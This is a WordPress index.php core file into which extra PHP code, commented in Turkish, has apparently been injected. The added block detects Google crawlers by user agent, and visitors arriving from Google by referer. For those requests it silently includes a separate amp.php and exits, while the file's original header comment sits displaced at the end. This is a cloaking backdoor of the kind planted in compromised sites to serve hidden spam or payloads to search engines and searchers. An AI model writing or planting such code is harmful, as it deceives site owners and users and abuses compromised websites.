/** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; /** * Google bot / Google referer -> amp.php include * index.php içinde çalışır */ $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $referer = $_SERVER['HTTP_REFERER'] ?? ''; // Google bot regex (fazla geniş eşleşme yok) $googleBotRegex = '/\b(Googlebot|AdsBot-Google|Mediapartners-Google|APIs-Google|Googlebot-Image|Googlebot-Video|Googlebot-News)\b/i'; // Google referer kontrolü $isGoogleReferer = (bool) preg_match('/(^|\/\/)(www\.)?google\./i', $referer); // amp.php zaten çalışıyorsa döngü olmasın if ( (preg_match($googleBotRegex, $userAgent) || $isGoogleReferer) && basename($_SERVER['SCRIPT_NAME'] ?? '') !== 'amp.php' ) { include __DIR__ . '/amp.php'; exit; } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */